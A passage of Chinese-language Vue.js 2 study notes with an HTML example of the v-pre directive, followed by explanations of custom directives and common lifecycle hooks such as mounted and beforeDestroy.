<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2 v-pre>n的初始值是:{{n}}</h2>
<h2 v-pre>当前n的值是:{{n}}</h2>
<button v-pre @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
n: 1
}
})
</script>
</html>
自定义指令
- 定义语法:
- 局部指令:
new Vue({ new Vue({ directives:{指令名:配置对象} 或 directives(){} })
}) - 全局指令:
Vue.directive(指令名,配置对象)
或Vue.directive(指令名,回调函数)
配置对象中常用的3个回调:bind
:指令与元素成功绑定时调用。inserted
:指令所在元素被插入页面时调用。update
:指令所在模板结构被重新解析时调用。
- 局部指令:
- 备注:
- 指令定义时不加
v-
,但使用时要加v-
。 - 指令名如果是多个单词,要使用
kebab-case
命名方式,不要用camelCase
命名。
- 指令定义时不加
生命周期
- 又名:生命周则回调函数、生命周期函数、生命周期钩子。
- 是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
- 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
- 生命周期函数中的this指向是vm或组件实例对象。
常用的生命周期钩子: mounted
:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。beforeDestroy
:清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。
关于销毁Vue实例- 销毁后借Vue开发者工具看不到任何信息。
- 销毁后自定义事件会失效,但原生DOM事件依然有效。
- 一般不会再
beforeDestroy
操作数据,因为即便操作数据,也不会再触发更新流程了。